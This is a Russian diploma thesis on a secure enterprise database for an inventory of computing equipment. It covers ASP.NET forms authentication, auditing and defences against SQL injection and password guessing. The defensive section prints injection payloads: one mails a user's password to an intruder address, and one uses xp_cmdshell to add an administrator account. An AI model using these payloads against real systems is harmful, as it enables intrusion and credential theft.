Построение защищенной базы данных предприятия
Угрозы безопасности баз данных. Политика информационной безопасности предприятия в области использования сетевых ресурсов. Разработка и введение в эксплуатацию защищенного клиент-серверного приложения. Средства аутентификации объектов базы данных.
| Рубрика | Программирование, компьютеры и кибернетика |
| Вид | дипломная работа |
| Язык | русский |
| Дата добавления | 21.02.2013 |
| Размер файла | 4,6 M |
Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже
Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.
Серийные и инвентарные номера контролируются на уникальность. Получить минимальный не использовавшийся инвентарный номер можно посредством клавиши “Сгенерировать”. Для ввода серии однотипных устройств гораздо удобнее пользоваться формой “дублирование устройства”, чем “добавление устройства”. При этом возможно потребуется подправить только серийные и инвентарные номера и не придется заносить всю информацию “с нуля”. Особенно это ощутимо будет при добавлении новых системных блоков. Дублирование системных блоков выполняется с полным перечнем комплектующих и одна операция дублирования заменит серию добавления новых устройств, входящих в системный блок и операции его компоновки.
Рисунок 4.8 - Скриншот формы “Добавление нового устройства”
Редактирование устройства.
- вызов формы редактирования устройства (рисунок 4.9), соответствующего выбранной записи в форме “Ведение БД средств ВТ” (рисунок 4.4).
Рисунок 4.9 - Скриншот формы “Редактирование устройства”
Дублирование устройства.
- вызов формы дублирования устройства (рисунок 4.4), соответствующей выбранной записи в форме “Ведение БД средств ВТ” (рисунок 4.10).
Рисунок 4.10 - Скриншот формы “Дублирование устройства”
Удаление устройства.
- вызов процедуры удаление ошибочно добавленных устройств. При работе с задачей нужно четко различать процедуры списания и удаления устройств. В логике задачи предполагается, что удаление необходимо выполнять исключительно только в ситуациях, когда какое-либо из устройств было добавлено ошибочно. Вся информация по списанным устройствам хранится в задаче в течение заданного регламентом времени и при необходимости можно обращаться к этим данным (например, при расчете затрат на приобретение за определенный период). При удалении все данные об устройстве теряются без возможности восстановления. Если удаляемое устройство относится к категории комплектующих системного блока, то при выполнении операции удаления оно не должно входить в системный блок, а единицы средств ВТ не должны входить в АРМ. При выполнении операции удаления выдается соответствующее предупреждение (рисунок 4.11).
Рисунок 4.11 - Скриншот формы «Запрос на подтверждение удаления выбранного устройства»
Компоновка системного блока.
- вызов формы компоновки системного блока (рисунок 4.12) соответствующего выбранной записи в форме “Ведение БД средств ВТ” (рисунок 4.4).Перед выполнением компоновки системного блока рекомендуется убедиться в том, что все комплектующие, предназначенные для включения в системный блок, существуют в базе данных.
Под блоком информации атрибутов акта модернизации последовательно располагается три таблицы - это соответственно “Незадействованные комплектующие”, “Комплектующие в составе системного блока” и “Выполненные операции по акту модернизации”. Процедура компоновки системного блока состоит из операций “добавления” и “исключения” комплектующих из системного блока.
Незадействованные комплектующие - это комплектующие для системных блоков (мат. платы, жесткие дики, модули памяти и. д.), которые заведены в базе, но не прикреплены ни к одному системному блоку. Для локализации незадействованных комплектующих по их типам предусмотрен простой фильтр расположенный рядом с заголовком таблицы. Для того чтобы увидеть все незадействованные устройства достаточно указать в списке “Все” (всегда самый первый элемент). Самая правая колонка таблиц “Незадействованные комплектующие” и “Комплектующие в составе системного блока” является управляющей. Напротив каждой записи в таблице расположены кнопки операций. Чтобы добавить устройство в компонуемый системный блок необходимо в таблице “Незадействованные комплектующие” напротив выбранного устройства нажать кнопку “Добавить”. При этом запись выбранного устройства тут же будет перенесена в таблицу “Комплектующие в составе системного блока”. Для изъятия устройства нужно нажать кнопку “Исключить” напротив выбранного устройства в таблице “Комплектующие в составе системного блока”. После чего выбранная запись переместится в таблицу “Незадействованные комплектующие”.
Количество выполненных операций по одному акту модернизации неограниченно. Но как уже говорилось ранее - квантом времени в задаче являются календарные сутки. Если в течение суток одно и то же устройство было добавлено, а затем изъято из одного и того же системного блока, то выполненные операции будут аннулированы. Вторая операция будет считаться исправлением ошибочно-выполненной первой операции. При этом в журнале операций актов модернизации системных блоков эти операции отображены не будут.
После завершения работы с формой настоятельно рекомендуется использовать клавишу “Закрыть”, а не системный управляющий значок в правом верхнем углу закрытия окна. Это необходимо для своевременного завершения транзакции по выполненным операциям.
Рисунок 4.12 - Скриншот формы “Компоновка системного блока”
Списание / отмена операции списания устройства.
- выполнение процедуры списания или отмены списания устройства. Так же как и при выполнении операции удаления, устройство не должно входить в системный блок, если оно относится к категории комплектующих, и не должно входить в АРМ - если это единица средств ВТ. При выполнении списания системного блока все комплектующие в его составе также будут считаться списанными. Информация по списанным устройствам хранится в течение заданного регламентом периода времени. При выполнении процедуры списания появляется запись в журнале актов списания. Номер акта списания присваивается автоматически и является сквозным для всех устройств. Процедура списания предполагает возможность восстановления списанного устройства. По-умолчанию информация по списанным устройствам не отображается в форме “Ведение БД перечня устройств средств ВТ” (рисунок 4.4), но данные по списанным устройствам можно посмотреть, выбрав соответствующий режим поиск - фильтра этой формы. При выполнении процедуры отмены списания устройства (это может быть только в том случае, если списание было выполнено ошибочно) запись в журнале актов списания уничтожается.
4.2.4 Ведение БД автоматизированных рабочих мест
Для ведения базы данных автоматизированных рабочих мест (АРМ) предназначена форма изображенная на рисунке 4.13, доступ к которой можно получить из главного меню (рисунок 4.3).
В информационном поле формы отображаются непосредственно атрибуты автоматизированных рабочих мест, и каждая запись соответствует описанию одного АРМ. Для локализации требуемых данных по заданным критериям предложен поиск - фильтр, который расположен в шапочной части формы. В форме всегда отображается не более 100 записей, даже если количество выбранных записей превышает это число.
Рисунок 4.13 - Скриншот формы “Ведение БД АРМ”
Напротив каждой записи справа располагаются пиктографические элементы управления, о назначении каждого из элементов будет далее рассказано далее.
Все основные манипуляции с базой данных АРМ (добавление, изменение и удаление записей) выполняются в основной форме.
Для добавления новых записей предназначена клавиша “добавить”, расположенная в шапочной части формы. Операции изменения атрибутов выбранного АРМ соответствует пиктографический элемент управления, имеющий значок -. а удаление выполняется посредством элемента со значком - .
Все операции добавления новых записей и изменения атрибутов АРМ автоматически регистрируются в соответствующем журнале с указанием даты внесения изменений. По этому журналу при необходимости можно будет отследить историю изменения таких атрибутов как ФИО отв. лица, местоположение АРМ.
4.2.4.1 Модификационные формы
К модификационным формам относятся формы добавления, редактирования, дублирования, удаления и форма компоновки АРМа.
Добавление нового АРМа и редактирование атрибутов АРМа.
Для добавления новых записей предназначена кнопка “Добавить. Для редактирования атрибутов АРМ предназначена соответствующая пиктограмма “Редактирование”.
Все операции добавления новых записей и изменения атрибутов АРМ автоматически регистрируются в соответствующем журнале, с указанием даты внесения изменений. По этому журналу при необходимости можно будет отследить историю изменения таких атрибутов как ФИО отв. лица, местоположение АРМ.
Компоновка АРМ.
- вызов формы компоновки выбранного АРМ с формы “Ведение БД автоматизированных рабочих мест”. Форма компоновки АРМ (рисунок 4.14) предназначена как для просмотра единиц ВТ в составе АРМ, так и для изменения укомплектованности АРМ.
По принципу организации эта форма похожа на форму компоновки системных блоков. Сверху вниз в форме размещены следующие данные: краткая информация по выбранному АРМ, атрибуты журнала укомплектованности АРМ, незадействованные единицы ВТ, единицы ВТ в составе АРМ и выполненные операции изменения укомплектованности в течение текущих суток.
Прежде чем приступить к выполнению операций изменения укомплектованности АРМ необходимо заполнить обязательные поля атрибутов журнала. В противном случае система не даст выполнить операции модернизации АРМ.
Данные по незадействованным единицам средств ВТ, если их много, могут быть для удобства работы локализованы посредством простого фильтра расположенного рядом с заголовком таблицы незадействованных единиц ВТ.
Процедура изменения укомплектованности АРМ заключается в выполнении операций добавления в АРМ и изъятия из АРМ выбранных устройств посредством соответствующих кнопок. Все выполненные в течение текущих суток операции отображаются в таблице расположенной в нижней части формы. Если в течение суток одно и то же устройство было добавлено, а затем изъято из одного и того же АРМ, то выполненные операции будут взаимно аннулированы. Вторая операция будет считаться исправлением ошибочно-выполненной первой операции. При этом в журнале изменения укомплектованности АРМ эти операции отображены не будут.
Рисунок 4.14 - Скриншот формы “Компоновка автоматизированного рабочего места”
Перемещение устройства (кнопка «Переместить») с одного АРМа на другой - это еще одна возможность управления составом АРМ. С помощью этой операции, можно избежать нескольких действий (изъятие устройства из состава конкретного АРМ, переход на форму “Введение БД АРМ”, выбор АРМа, на который хотели установить только что удаленное устройство).
Для того, что осуществить операцию перемещения устройства, необходимо выбрать устройство из таблицы единиц ВТ, входящих в состав АРМ, и нажать кнопку “Переместить”, на нажатие которой открывается форма “Перемещение устройства”. В верхней части формы располагается информация об исполнителе и принимающем, ниже приведен список существующих АРМ. Чтобы установить устройство, необходимо выбрать АРМ из списка (причем номер АРМа, с которого производится операция перемещения, не должен совпадать с номером АРМа принимающего) и нажать кнопку “Установить”. В журнал изменения укомплектованности записывается сразу две записи: одна - на установку устройства, другая - на изъятие.
Удаление АРМ.
При ликвидации АРМ (кнопка “Удалить”) или исправлении ошибочной операции добавления необходимо убедиться в том, что за выбранным АРМ нет закрепленного оборудования. В противном случае система не даст удалить запись.
4.2.5 Ведение справочных баз данных
В рассматриваемой задаче все справочные базы данных являются активными, т. е. при работе с формами вся информация отображается напрямую из соответствующих справочных баз данных. Этим достигается отсутствие дублирования данных. При выполнении корректировки в справочных БД нужно это учитывать.
Допускается при необходимости выполнять корректировку определенных записей в справочниках не изменяющую их смысловую нагрузку. Например, при добавлении новой модели устройства необходимо добавить новую запись в справочник моделей устройств, но нельзя путем корректировки существующей записи в этом справочнике заносить информацию о новом устройстве, так как могут быть экземпляры устройств, которые ссылаются на информацию в корректируемой записи справочника и данные будут фальсифицированы.
Справочники вызываются из главного меню. Все справочники (справочник типов устройств, справочник фирм-производителей, справочник моделей устройств, справочник фирм-поставщиков, справочник шифров оборудования, справочник шифров подразделений предприятия, справочник классификации типов оборудования) разработаны по одной схеме, поэтому достаточно показать на одном примере. Справочник типов устройств изображен на рисунке 4.15. При добавлении нового типа устройств необходимо определить также его основных технические характеристики (ТХ). В процессе эксплуатации также можно добавлять и удалять технические характеристики устройства, но при удалении ТХ нужно учитывать, что все значения удаляемых ТХ будут также безвозвратно удалены. Справочник шифров подразделений использует информацию из Общероссийского классификатора основных фондов ОК 013-94 от 26.12.94.
Если будет существовать хоть один экземпляр устройства для выбранного на удаления типа устройства, то система запретит выполнение этой операции и выдаст на экран монитора соответствующее сообщение.
Рисунок 4.15 - Скриншот формы “Справочник типов устройств”
4.2.6 Журналы
Вызываются из главного меню, все журналы (журнал изменений атрибутов АРМ, журнал изменений укомплектованности АРМ, журнал актов модернизации системных блоков, журнал актов списания средств ВТ) разработаны по одной схеме, поэтому достаточно показать на одном примере. Журнал изменений атрибутов АРМ позволяет отслеживать историю по изменениям атрибутов АРМ с момента его организации (рисунок 4.16).
Рисунок 4.16 - Скриншот формы “Журнал изменений атрибутов АРМ”
В отличие от остальных журналов, журнал событий базы данных (рисунок 4.17) предоставляет администраторам задачи возможность просмотра событий, происходящих с базой данных. Происходит так называемый пассивный аудит базы данных, когда администратор может отследить все действия, которые пользователи осуществляют с данными. Предоставляет такую информацию о пользователе, как:
· факт операции (успешная или неуспешная попытка)
· ее вид (INSERT-добавление/UPDATE-модификация/DELETE-удаление)
· имя сервера
· имя пользователя, который модифицировал данные
· имя машины, с которой оно проводилось
· дата/время модификации
· название приложения, через которое проводилось данное изменение
· название таблицы, которую модифицировал пользователь.
Рисунок 4.17 - Скриншот формы “Журнал событий БД СВТ”
4.2.7 Управление
Настройки предопределяют возможность изменять режимы работы задачи такие как: срок хранения (в годах) списанных устройств, время жизни сессии задачи при простое и другое. Изменение пароля пользователя предоставляет возможность пользователям самостоятельно изменять пароли для регистрации в задаче (рисунок 4.18).
Рисунок 4.18 - Скриншот формы «Изменение пароля пользователя»
4.3 Реализация защищенного взаимодействия клиента с базой данных по средством программного комплекса
На прикладном уровне Web-защита связана в основном с защитой данных, чтобы их не могли просматривать и изменять данные неавторизованные пользователи. Например, только руководители имеют право просматривать информацию, связанную с объемом денежных средств, затраченных на приобретение средств ВТ, и только администраторы задачи могут вносить изменения в базу данных. Любая форма защиты требует от приложения двух очевидных действий:
· определение источника каждого запроса;
· определение правил, задающих права доступа к страницам.
Web-сервер осуществляет идентификацию обращающихся к нему пользователей с помощью аутентификации. После того, как пользователь идентифицирован, авторизация поддерживает разные модели аутентификации и авторизации. Понимание набора доступных возможностей и их взаимосвязь- первый шаг в проектировании защищенного приложения.
4.3.1 Средства защиты IIS
IIS- это Web-сервер, основная задача которого - устанавливать соединения с удаленными клиентами и отвечать за http-запросы, поступающие по этим соединениям. Большинство запросов - это http-команды GET и POST, запрашивающие html-файлы, aspx-файлы и ресурсы файловой системы. Для защиты содержимого сервера IIS предоставляет четыре механизма:
· web-приложения размещаются в виртуальных каталогах, адресуемых с помощью URL; удаленные клиенты не могут произвольно обращаться к файлам вне виртуальных каталогов и их подкаталогов
· каждому запросу присваивает маркер доступа, описывающий пользователя Windows; этот маркер позволяет операционной системе проверять права доступа к файловой системе тех ресурсов, к которым обращается запрос
· поддерживает ограничения по IP-адресам и именам доменов, что позволяет предоставлять или нет доступ на основании IP-адреса или домена поступившего запроса
· поддерживает шифрованные http-соединения на основе семейства протоколов SSL(Secure Sockets Layer),сам по себе он не предназначен для защиты ресурсов сервера, однако он не позволяет прочитать переговоры Web-сервера и удаленных клиентов
IIS исполняется как процесс Inetinfo.exe, который обычно исполняется от имени учетной записи SYSTEM, обладающей высоким уровнем и привилегий на локальном компьютере, но запросы, передаваемые от IIS к ASP.NET, не исполняются в контексте SYSTEM, они исполняются от имени конкретного пользователя, выбор которого зависит от конфигурации запрашиваемого ресурса.
Если запрашиваемый файл требует аутентифицированного доступа, то IIS связывает запрос с учетной записью, параметры которой указывает отправитель запроса. Если пользователь может доказать свою подлинность IIS, то запросу присваивается маркер доступа этого пользователя.
IIS проверяет подлинность пользователя с помощью аутентификации, которая бывает нескольких типов: обычная (basic), краткая (digest), встроенная (integrated) Windows-аутентификация, клиентские сертификаты SSL. Обычную и краткую применяют для идентификации имени и пароля пользователей, подходит для работы в Интернет; встроенную - для идентификации учетных данных Windows, не подходит для работы в Интернет; применение клиентских сертификатов SSL ограничено в основном интрасетями, так как требуют раздачи клиентам цифровых сертификатов.
На рисунке 4.19 показано взаимодействие между IIS и ASP.NET. Когда IIS получает запрос файла, относящегося к ASP.NET(файл ASPX), он передает запрос ISAPI DLL (Aspnet_isapi.dll, который исполняется в том же процессе, что и IIS, то есть внутри). Приложения ASP.NET исполняются в отдельном процессе - . Aspnet_isapi.dll передает запросы Aspnet_wp.exe через именованный канал. Когда запрос достигает рабочего процесса, он назначается конкретному приложению, исполняющемуся в конкретном домене приложения. Внутри домена приложения запрос перемещается по http- конвейеру ASP.NET, где его просматривают различные http-модули, и в конце концов попадает к http-обработчику, соответствующему запрашиваемому ресурсу.
Размещено на http://www.allbest.ru/
Рисунок 4.19 - Взаимодействие IIS и ASP.NET
Когда Aspnet_isapi.dll передает http-запросу Aspnet_wp.exe, вместе с ним передается и маркер доступа, полученный из IIS. Прежде чем обработать запрос, пропустив его по http-конвейеру приложения, Aspnet_wp.exe с помощью маркера выполняет проверку прав доступа к файловым ресурсам, а затем маркер передается приложению, чтобы это приложение могло олицетворить автора запроса и ограничить его в случае надобности.
Степень успеха реализации зависит от решаемого круга задач приложения, от того, под чьим именем будет исполняться рабочий процесс ASP.NET и обрабатываемые им запросы. Если Aspnet_wp.exe исполняется как SYSTEM, то приложение может делать на компьютере сервера все, что угодно, что делает ASP.NET менее устойчивым к атакам. Но по умолчанию Aspnet_wp.exe исполняется как ASPNET - особая учетная запись, создаваемая при установке ASP.NET на компьютере, которая является членом группы Users, почему и имеет достаточные привилегии для выполнения большинства действий, но и достаточно ограничен в правах, чтобы защититься от некоторых типов атак. Помимо прочего, это означает, что, кроме случаев изменения конфигурации, приложения ASP.NET не могут выполнять ряд действий, например, изменять значения в разделе реестра HKEY_LOCAL_MACHINE.
4.3.2 Аутентификация и авторизация
Аутентификация позволяет получателю запроса удостовериться в подлинности его отправителя. Отправитель запроса может утверждать что угодно, но пока он не аутентифицирован, в этом нельзя быть уверенным. Аутентификация - важный элемент не только web-безопасности, но и сетевой безопасности вообще, так как она устанавливает доверие. Авторизация- это другая часть определения безопасности. После того, как личность пользователя установлена, авторизация определяет, к каким ресурсам он имеет доступ.
Поддерживается три типа аутентификации: Windows-аутентификация, Passport- аутентификация и Forms- аутентификация[5].
Windows-аутентификация применяется, когда приложение используется в локальной сети, каждый его пользователь имеет учетную запись, под которой он может войти в сеть и получить доступ к сетевым ресурсам, или когда приложение предназначено не только для работы пользователей локальной сети, но и должна быть возможность работы с приложением удаленно. Помимо недопущения пользователей, не имеющих на это прав, к частям приложения с ограниченным доступом, также можно использовать встроенные механизмы безопасности операционной системы. Passport-аутентификацию применяют для аутентификации пользователей Microsoft Password - web-сервис, выступающий в качестве интерфейса большой базы данных имен пользователей и паролей, поддерживаемой Microsoft. Выглядит следующим образом: при входе на страничку пользователь авторизуется с параметрами своего электронного адреса, выступающего в роли имени пользователя, и пароля; затем наше приложение обращается к официальному сайту Microsoft, если сайт Microsoft подтверждает, наше приложение его авторизует с его правами. Этот тип аутентификации практически не используют по вполне объективным причинам: во-первых, это будет медленный процесс, во-вторых, нужно оплачивать Microsoft такую услугу. Forms- аутентификацию используют для удостоверения в личности пользователя, прежде, чем дать ему доступ к некоторым страницам.
Проанализировав возможные типы аутентификаций, наиболее подходящей будет Forms-аутентификация. При этом аутентификация пользователя выполняется путем запроса у него параметров регистрации (логин и пароль) с помощью Web-формы. В файле Web.config проекта указываем регистрационную страницу и сообщаем ASP.NET, какие ресурсы эта страница защищает. При первом обращении пользователя к защищенному ресурсу ASP.NET автоматически перенаправляет его на эту регистрационную страницу. Если регистрация прошла успешно, ASP.NET выдает пользователю в виде «cookie» (небольшой файл на компьютере клиента, в котором находятся данные для конкретного Web-узла) аутентификационный ярлык и перенаправляет его на страницу запрошенную первоначально. Временем жизни ярлыка можно управлять. Алгоритм работы по Forms-аутентификации представлен на рисунке 4.20.
Размещено на http://www.allbest.ru/
Рисунок 4.20 - Последовательность действий при аутентификации
Такая аутентификация обеспечивает большой контроль над сценариями идентификации для приложения. Если приложение принимает данные пользователя, то в броузере ASP.NET создает «cookie»[28, c.227]. Программный код, реализующий аутентификацию и авторизацию представлен в приложении К.
Атрибут name элемента <forms> определяет имя «cookie», который будет установлен в случае успешной аутентификации. Значение по умолчанию - .ASPXAUTH. Если запускается несколько приложений на одном сервере, то следует дать каждому приложению или виртуальной папке уникальное имя «cookie», используя этот атрибут. Атрибут loginUrl определяет URL на который будет переадресован пользователь если не будет найден корректный «cookie». Атрибут protection определяет уровень защиты (шифрование, основанная на MAC коде проверка) для «cookie», используемого при аутентификации. "All" - это значение по умолчанию (рекомендуемое значение). Атрибут timeout определяет количество минут, после истечения которых, «cookie» считается устаревшим и более не может использоваться. Вы можете использовать этот атрибут для требования повторной регистрации после истечения заданного времени, в течение которого пользователь не проявил активность. Срок годности аутентификационного «cookie» не обновляется при каждом запросе ASPX страниц, а обновляется при запросах страниц, которые произошли по истечении половины срока годности «cookie». Атрибут path определяет путь, по которому в виртуальной папке хранится файл «cookie».
Сами аутентификационные «cookie» необходимо защитить, для чего необходимо задать желаемый уровень защиты. Проверка «cookie» работает следующим образом: к «cookie» добавляется значение validationKey элемента machineKey, полученное значение хэшируется и хэш добавляется в «cookie». Когда «cookie» возвращается обратно в составе запроса, ASP.NET проверяет, что он не подделан, снова вычисляет хэш-значение и сравнивает его с тем, которое находится в «cookie». Шифрование работает путем шифрования «cookie»(хэш-значения и всего остального), применяя атрибут decryptionKey элемента machineKey. Проверка требует меньше процессорного времени, чем шифрование, и предотвращает подделки. Но она не мешает перехватывать «cookie» и просматривать их содержимое. Шифрование же обеспечит двойную защиту от подделок, а также препятствует просмотру содержимого «cookie».
Так как приложение работает по протоколу HTTPS, то зашифрованные «cookie» не могут быть прочитаны или изменены, но их могут украсть. Поэтому здесь защитой для «cookie» будут тайм-ауты, которые работают для сеансовых «cookie».
Существует ограничение на время существования открытой сессии задачи на сервере (определяется настройками). Если время сеанса работы пользователя превышает это ограничение - ему будет предложено повторить авторизацию для продолжения работы. Эта особенность специфична для веб-технологий, где клиентская машина не удерживает непрерывную связь с сервером (так называемый link), а обращается к созданной пользователем сессии на сервере точечно - в момент выполнения запроса.
4.3.3 Доступ к данным через ADO.NET
ADO.NET (ActiveX Data Object .NET)представляет собой набор классов в пространстве имен System.Data библиотеки классов .NET и его потомках. Иными словами ADO.NET- язык для общения управляемых приложений с базой данных, программный интерфейс используемый для доступа к базе данных. ADO.NET- один из важнейших компонентов .NET Framework.
Размещено на http://www.allbest.ru/
Рисунок 4.21 - Модель доступа к данным в ADO.NET и ASP.NET
Двойственность ADO.NET - это первое, что должен знать любой разработчик. ADO.NET осуществляет доступ к базе данных через программные модули- провайдеры данных (SQL Server.NET и OLE DB .NET).
OLE DB - технология доступа к данным, представляет унифицированный объектно- ориентированный API для разнообразных баз данных, так же как драйверы ODBC(Open Database Connectivity) предоставляет процедурный клиентский интерфейс для разных типов баз данных[31, c.501].
Как происходит запрос пользователя? Пользователь сначала обращается к странице, затем происходит обращение к Web-серверу, который в свою очередь обращается к базе данных с помощью SQLConnection, после через SQLAdapter данные из базы данных возвращаются в DataSet(DataReader) к клиенту через Web-сервер (рисунок 4.21).
4.3.4 Защита передаваемых данных
Защита передаваемых по сети данных рассмотрена в главе 3.3.7 «Защита сетевого трафика», при этом при обращении пользователя к приложению идет его переадресация на защищенный протокол передачи данных https.
4.3.5 Защита от некорректного ввода данных
Контролировать вводимые пользователем данные можно на стороне клиента и на стороне сервера (рисунок 4.22). Отличие в том, что на стороне клиента контроль будет сравнительно простой, на стороне же сервера можно проводить более сложные алгоритмы проверки.
Размещено на http://www.allbest.ru/
Рисунок 4.22 - Алгоритм проверки вводимых пользователем данных
Контроль на стороне клиента организует проверку на наполняемость, проверку типа, длины, составного типа выражения, соответствия определенному диапазону значений [1, c.13]. На стороне сервера реализуется с применением хранимых процедур, триггеров и проверок в конкретных ситуациях.
4.3.6 Протоколирование и аудит
Под протоколированием понимается сбор и накопление информации о событиях, происходящих в системе. Аудит - это анализ накопленной информации, проводимый оперативно, почти в реальном времени, или периодически. Реализация протоколирования и аудита преследует следующие главные цели:
· обеспечение подотчетности пользователей и администраторов;
· обеспечение возможности реконструкции последовательности событий;
· обнаружение попыток нарушений информационной безопасности;
· предоставление информации для выявления и анализа проблем.
Обеспечение подотчетности важно в первую очередь как средство сдерживания. Если пользователи и администраторы знают, что все их действия фиксируются, они, возможно, воздержатся от незаконных операций. Если есть основания подозревать какого-либо пользователя в нечестности, можно регистрировать его действия особенно детально, вплоть до каждого нажатия клавиши. При этом обеспечивается не только возможность расследования случаев нарушения режима безопасности, но и откат некорректных изменений. Тем самым обеспечивается целостность информации.
Восстановление последовательности событий позволяет выявить слабости в защите сервисов, найти виновника вторжения, оценить масштабы причиненного ущерба и вернуться к нормальной работе.
Выявление и анализ проблем позволяют помочь улучшить такой параметр безопасности, как доступность.
Обнаружив узкие места, можно попытаться переконфигурировать или перенастроить систему, снова измерить производительность и т.д. Т.о., это необходимый шаг для регистрации изменений в базе данных, а также в процессе разработки, сопровождения, администрирования, документирования и распространения программных продуктов или систем, использующих эту базу данных. Этот подпункт в программном проекте реализован на форме «Журнал событий БД СВТ» совместно с протоколированием на уровне базы данных и сервера (глава 4.2.6).
4.3.7 Защита от неблагонамеренных действий пользователей
Защита от некорректных действий (в том числе и ошибок) пользователей представляет собой контроль за действиями пользователей. Контроль осуществляется на соответствие прав доступа, типа и длины вводимых данных, ввода непустых значений, проверкой на дублирование. Предусмотрена также обработка ошибок пользовательского типа.
Как через приложение можно получить неправомерный доступ к базе данных? Есть несколько вариантов:
· перехватить аутентификационные данные легитимных пользователей и потом воспользовавшись ими выполнять какие-либо действия
· перехватить сами данные, которые возвращает база данных на запросы пользователей
· получить информацию о структуре базы данных, используя ошибочные действия; в случае, если не произведена в приложении обработка ошибок
· посылать в виде запроса устойчивые конструкции, внедрение SQL кода (SQL-Injection)
· подбор паролей пользователей
Защита от первого и второго варианта атаки осуществляется средствами SSL-протокола передачи данных, средствами IPSec и шифрования аутентификационных cookie; от третьего - обработкой ошибок; от четвертого- использование хранимых процедур, в теле которых идет проверка вводимых данных и отсеивание; от последнего - в журнале событий базы данных ведется аудит попыток входа пользователей, соответственно, если за короткий промежуток времени, например, 10 секунд, пользователь попытался ввести свой пароль 100 раз, это вызовет подозрительность в благонадежности этого пользователя, к тому же пароли пользователей не должны быть слабыми.
Проблема многих приложений состоит в динамической генерации SQL запросов и отправке их в СУБД без предварительной обработки. Например, следующий фрагмент кода не является редкостью:
...
Set rs = cn.Execute("SELECT password FROM Users WHERE email”) =Request.Form("email")
…
objMail.To = Request.Form("email")
objMail.Send(rs("password"))
…
Нетрудно видеть, что через поле формы email можно изменить логику запроса. Например, с большой долей вероятности можно получить пароль произвольного пользователя, если в качестве значения поля email будет получено:
userMail@host.com' OR email=';intruder@provider.com'
Запрос будет выглядеть так:
SELECT password FROM dbo.Users WHERE email = 'userMail@host.com' OR email=';intruder@provider.com'
Это приведет к тому, что будет выбран пароль пользователя с адресом userMail@host.com, но отправлен он будет, скорее всего, по адресу intruder@provider.com, т.к. многие почтовые компоненты считают символ “;” разделителем адресов. Этот сценарий будет работать в случае, если запросы строятся динамически и без проверки пользовательского ввода. Если же приложение работает под учетной записью, обладающей большими привилегиями в SQL Server, то последствия могут быть еще печальнее, вплоть до получения контроля над машиной, где работает SQL Server:
'; EXEC master.dbo.xp_cmdshell ' net user john pass /add && net localgroup Administrators john /add
Пользуясь подобными ошибками, злоумышленник может раскрыть схему таблиц. Кроме того, в ряде случаев такие ошибки сводят на нет все усилия по защите сети через брандмауэр, т.к. атака может идти поверх HTTP, а для обмена данными, проникновения во внутреннюю сеть может использоваться SQL Server злоумышленника, выступающий в качестве присоединенного сервера. Например, может быть использован такой запрос для получения списка баз на другом SQL сервере:
SELECT * FROM OPENROWSET('SQLOLEDB', 'Server=INTERNAL_SQL_SERVER; UID=sa; PWD=password;','select * from sysdatabases')
При этом могут использоваться также и удаленные и присоединенные SQL сервера, зарегистрированные на захваченной машине. Для того, чтобы избежать ошибок подобного рода можно применить следующие методы:
· Не запускать приложения под привилегированными "учетными записями" (sysadmin, db_owner) SQL Server. Не запускать SQL Server под привилегированными учетными записями операционной системы (LocalSystem, Administrators group member).
· Отказаться от динамических запросов в пользу хранимых процедур. Это позволит не только искоренить SQL Injection, но и воспользоваться другими преимуществами использования хранимого кода. Однако не стоит забывать, что в случае использования динамических запросов внутри хранимых процедур проблема внедрения кода все же остается. Например:
CREATE PROCEDURE dbo.GetUsers (@Field varchar(100))
AS SET NOCOUNT ON
EXEC ('SELECT UserID, Username, FirstName, LastName FROM dbo.Users ORDER BY ' + @Field)
RETURN
GO
· Использовать параметризованные запросы
· Использовать регулярные выражения для проверки пользовательского ввода до того, как он будет отправлен в СУБД. В случае несоответствия ввода и шаблона выдавать сообщение об ошибке клиенту, оставлять запись об ошибке (ни в коем случае не показывать клиенту ошибки SQL Server) в журнале приложения и прекращать выполнение запроса.
· Использовать функции для экранирования служебных символов. Например
strEmail = Replace(Request.Form("Email"), "'", "''")
· Проводить обзор кода (code review) и следовать стандартам кодирования. В качестве автоматических тестирующих средств можно порекомендовать SPI Dynamic WebInspect 2.6. Данное средство тестирования приложений пытается отыскать и ошибки класса "SQL Injection".
4.4 Реализация стойких паролей
Одним из требований, предъявляемым к паролям пользователей, является его относительная стойкость. Политика информационной безопасности (далее ПИБ) предприятия предусматривает требования к созданию и использованию паролей.
Пароли принимаются как допустимое общее средство подтверждения пользователем своего ID -- то есть являются общим средством аутентификации пользователя при осуществлении доступа к системе/ресурсу. Создание паролей осуществляется в соответствии со следующими правилам[29, c.53]:
- Пользователи должны подписать обязательство по неразглашению паролей, в том числе групповых (это обязательство может быть включено в трудовое соглашение сотрудника).
- В системах, где пользователи должны сами создавать пароли, им должен быть назначен безопасный начальный пароль. Пользователи должны незамедлительно сменить этот пароль. Временные пароли, используемые в случаях, когда пользователи забывают свои пароли, должны создаваться после идентификации пользователей.
- Временные пароли должны передаваться пользователем с соблюдением мер безопасности. Использование для передачи паролей других сотрудников или пересылка паролей в незащищенном виде не допускается. Пользователи должны подтвердить получение паролей.
Пользователи должны следовать принятой политике по созданию и использованию безопасных паролей. Проблема реализации на деле парольной политики заключается в том, что пользователи забывают о ней и в который раз в качестве паролей используют какое-нибудь простое слово, дату рождения или собственное имя. И тогда задача злоумышленника оказывается простой: подключают к своим программам подбора паролей (bruteforce) словари и подбирают в качестве паролей слова или целые фразы.
Проанализировав программы bruteforce, выявлен определенный механизм их работы: сама программа bruteforce представляют из себя процедуру, которая перебирает все возможные варианты пароля и, после получения каждого нового варианта, делает переход на процедуру его проверки. Процедура вставляется в тело программы в каком-либо свободном месте, например отдельной секцией или в конце какой-либо секции. В месте кода, который выполняется при определении неправильности пароля, ставится команда перехода на нашу процедуру перебора. Та получает новый вариант пароля, делает переход на процедуру проверки, и так по кругу, пока не найдется правильный пароль, либо пока не кончатся все варианты.
Программы подбора паролей различаются степенью сложности и алгоритмом самого подбора.
При этом возможны варианты:
1) перебор всех возможных паролей («a», «b», ... «aab», «aac», ...);
2) «ограниченный» перебор - когда сначала тщательно составляется набор возможных символов пароля, а потом пункт 1;
3) «словарный» перебор - часто паролями служат осмысленные слова, тут может оказаться достаточным и небольшой словарь из распространенных имён, чисел (дата рождения);
4) перебор отдельных символов пароля - в случае, если известно, например, пять из десяти букв пароля, следовательно, перебирать всё не обязательно - достаточно задать некие наборы символов для конкретных позиций пароля.
